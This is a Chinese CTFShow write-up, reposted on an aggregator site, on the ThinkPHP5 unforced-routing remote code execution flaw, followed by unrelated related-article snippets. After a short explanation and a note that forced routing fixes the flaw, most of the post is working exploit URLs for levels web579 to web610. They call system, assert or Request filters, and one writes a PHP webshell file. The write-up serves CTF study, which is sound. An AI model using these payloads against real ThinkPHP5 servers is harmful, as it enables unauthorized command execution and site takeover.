【Web】Ctfshow Thinkphp5 非强制路由RCE漏洞

目录

非强制路由RCE漏洞

web579 

web604 

web605 

web606

web607-610


前面审了一些tp3的sql注入,终于到tp5了,要说tp5那最经典的还得是rce

下面介绍非强制路由RCE漏洞

非强制路由RCE漏洞原理

非强制路由相当于开了一个大口子,可以任意调用当前框架中的任意类的任意方法并传参。

下面是该漏洞的利用条件:

 

要修复这个漏洞非常简单,启用强制路由即可

很简单的道理,举个例子

index模块下控制器定义一个Address类,类里定义一个search()方法,并定义响应的路由访问+传参。

 

可以/search/5/4访问并传参

 

 因为没有开启强制路由,所以下面这种方式可以达成一样的效果

?s=index/Address/search&id=5&uid=4 

 

而且当前框架中的任意类的任意方法都是可以被直接调用的,所以我们只要找到恶意类的恶意方法传参即可,试着拿一个payload弹一个计算器,成功。

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=calc

ok我们已经实现了从0到1的突破了,剩下的就是各种payload的积累

从payload反推是很容易的,下面不再演示

贴出一篇文章

ThinkPHP5框架缺陷导致远程命令执行 

先介绍一个通杀解:

利用\think\view\driver\Think类的__call方法

?s=index/\think\view\driver\Think/__call&method=display&params[]=<?php system('tac /f*'); ?>

web579 

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=tac /f*

web604 

?s=index/\think\Request/input&filter[]=system&data=tac /f*

web605 

?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php system('tac /f*');?>

web606

invokefunction大写即可

?s=index/think\app/invokeFunction&function=call_user_func_array&vars[0]=system&vars[1][]=tac /f*

或者:

?s=index/\think\Container/invokeFunction&function=assert&vars[0]=system('tac /f*');

web607-610

?s=index/\think\view\driver\Think/__call&method=display&params[]=<?php system('tac /f*'); ?>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/584165.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

golang 图片加水印

需求&#xff1a; 1&#xff0c;员工签到图片加水印 2&#xff0c;水印文字需要有半透明的底色&#xff0c;避免水印看不清 3&#xff0c;图片宽设置在600&#xff0c;小于600或者大于600都需要等比例修改图片的高度&#xff0c;保持水印在图片中的大小和位置 4&#xff0c;处理…

2023年人工智能行业总结

在2023年&#xff0c;人工智能&#xff08;AI&#xff09;领域的发展犹如疾风骤雨&#xff0c;令人目不暇接。这一年中&#xff0c;AI领域经历了众多的变革&#xff0c;仿佛将过去十几年的积累在一夜之间彻底释放。今天&#xff0c;我们将通过三条主线来盘点今年AI领域最重要的…

GLTF编辑器-位移贴图实现破碎的路面

在线工具推荐&#xff1a; 3D数字孪生场景编辑器 - GLTF/GLB材质纹理编辑器 - 3D模型在线转换 - Three.js AI自动纹理开发包 - YOLO 虚幻合成数据生成器 - 三维模型预览图生成器 - 3D模型语义搜索引擎 位移贴图是一种可以用于增加模型细节和形状的贴图。它能够在渲染时针…

JavaWeb——前端之JSVue

接上篇笔记 4. JavaScript 概念 跨平台、面向对象的脚本语言&#xff0c;使网页可交互与Java语法类似&#xff0c;但是不需要变异&#xff0c;直接由浏览器解析1995年Brendan Eich发明&#xff0c;1997年成为ECMA标准&#xff08;ECMA制定了标准化的脚本程序设计语言ECMAScr…

配置git免密push

git免密码提交 创建.git-credential文件&#xff0c; 创建文件&#xff0c;进入文件&#xff0c;输入内容&#xff1a; cd ~ touch .git-credentials vim .git-credentials 输入内容 https://{username}:{password}gitee.com 实际输入中&#xff0c;用户名&#xff0c;密码没…

SQL Server的聚合函数、SQL Server的联合查询、SQL Server的左连接右连接内连接

一、SQL Server的聚合函数 在SQL Server中&#xff0c;常用的聚合函数包括&#xff1a; COUNT&#xff1a;计算指定列中非NULL值的数量。SUM&#xff1a;计算指定列中数值的总和。AVG&#xff1a;计算指定列中数值的平均值。MIN&#xff1a;计算指定列中的最小值。MAX&#x…

[CSP-J2019] 公交换乘

[CSP-J2019] 公交换乘 题目描述 著名旅游城市 B 市为了鼓励大家采用公共交通方式出行&#xff0c;推出了一种地铁换乘公交车的优惠方案&#xff1a; 在搭乘一次地铁后可以获得一张优惠票&#xff0c;有效期为 45 分钟&#xff0c;在有效期内可以消耗这张优惠票&#xff0c;免…

vue计算属性和侦听器

computed 模板内的表达式非常便利&#xff0c;但是设计它们的初衷是用于简单运算的。在模板中放入太多的逻辑会让模板过重且难以维护&#xff0c;对于任何包含响应式数据的复杂逻辑&#xff0c;你都应该使用计算属性。 计算属性与methods区别&#xff1a; computed是带缓存的…

Unity Shader-真实下雨路面

Unity Shader-真实下雨路面 简介素材1.准备插件Amplify Shader Editor&#xff08;这里我使用的是1.6.4最新版&#xff09;2.贴纸和切图d 一、创建一个Shader Surface&#xff0c;实现气泡播放效果二、叠加一次气泡播放效果&#xff0c;使其看起来更多&#xff0c;更无序三、小…

新火种AI|AI正在让汽车成为“消费电子产品”

作者&#xff1a;一号 编辑&#xff1a;小迪 AI正在让汽车产品消费电子化 12月28日&#xff0c;铺垫许久的小米汽车首款产品——小米SU7正式在北京亮相。命里注定要造“电车”的雷军&#xff0c;在台上重磅发布了小米的五大自研核心技术。在车型设计、新能源技术以及智能科技…

手把手带你入门本地AI绘画(Stable Diffusion)

AIGC现如今可谓是如日中天,AI绘画算是其中最火的其中之一了。现在的AI绘图工具也是百家争鸣,不管是网页端,APP端,还是小程序端,都能看到各种各样的AI绘图工具,他们多是需要你发送关键词或绘图命令到他们的服务器,然后由服务器渲染完成之后返图给你,所以一定会占用他们的…

概率论相关题型

文章目录 概率论的基本概念放杯子问题条件概率与重要公式的结合独立的运用 随机变量以及分布离散随机变量的分布函数特点连续随机变量的分布函数在某一点的值为0正态分布标准化随机变量函数的分布 多维随机变量以及分布条件概率max 与 min 函数的相关计算二维随机变量二维随机变…

机器学习笔记--半监督节点分类:标签传播和消息传递

斯坦福大学CS224W图机器学习笔记 学习参考 CS224W公开课:双语字幕 斯坦福CS224W《图机器学习》课程(2021) by Jure Leskove 官方课程主页:官方主页 子豪兄精讲:斯坦福CS224W图机器学习、图神经网络、知识图谱 同济子豪兄 子豪兄公开代码:同济子豪兄CS224W公开课 基于…

4-链表-合并两个有序链表

这是链表的第4题&#xff0c;来个简单算法玩玩。力扣链接。 将两个升序链表合并为一个新的 升序 链表并返回。新链表是通过拼接给定的两个链表的所有节点组成的。 示例 1&#xff1a; 输入&#xff1a;l1 [1,2,4], l2 [1,3,4] 输出&#xff1a;[1,1,2,3,4,4]示例 2&#xff…

JS 嵌套循环之退出顶层循环

我们常常写循环的时候&#xff0c;可能会遇到嵌套循环&#xff0c;如果出现退出循环&#xff0c;一层还好&#xff0c;多层循环就费劲了&#xff0c;传统做法是加 flag&#xff0c;如下&#xff1a; for (let i 0; i < 10; i) {let flag falsefor (let j 0; j < 5; j…

【Angular 】Angular 模板中基于角色的访问控制

您是否在Angular模板中实现角色库访问控制&#xff1f;一种方法是通过*ngIf&#xff0c;但我不会选择该路径&#xff0c;因为它将在Angular模板中包含自定义函数&#xff0c;并且很难维护。正确的方法是使用Angular结构指令&#x1f680;. 什么是RBAC&#xff1f; 基于角色的…

MySQL常见面试题汇总

Java面试题总结 MySQL面试题 MySQL 字段类型 整数类型的 UNSIGNED 属性有什么用&#xff1f; CHAR 和 VARCHAR 的区别是什么&#xff1f; VARCHAR(100)和 VARCHAR(10)的区别是什么&#xff1f; DECIMAL 和 FLOAT/DOUBLE 的区别是什么&#xff1f; 为什么不推荐使…

自然语言处理(第16课 机器翻译4、5/5)

一、学习目标 1.学习各种粒度的系统融合方法 2.学习两类译文评估标准 3.学习语音翻译和文本翻译的不同 4.学习语音翻译实现方法 二、系统融合 以一个最简单的例子来说明系统融合&#xff0c;就是相当于用多个翻译引擎得到不同的翻译结果&#xff0c;然后选择其中最好的作为…

【网络安全 | XCTF】2017_Dating_in_Singapore

正文 题目描述&#xff1a; 01081522291516170310172431-050607132027262728-0102030209162330-02091623020310090910172423-02010814222930-0605041118252627-0203040310172431-0102030108152229151617-04050604111825181920-0108152229303124171003-261912052028211407-0405…

如何有效使用 .gitignore 文件

在任何使用 Git 的软件项目中&#xff0c;.gitignore 文件都是一个必不可少的工具。它帮助开发者定义哪些文件和目录应该被 Git 忽略&#xff0c;从而保持代码库的整洁和管理的简便性。 什么是 .gitignore&#xff1f; .gitignore 文件是一个文本文件&#xff0c;您可以在其中指…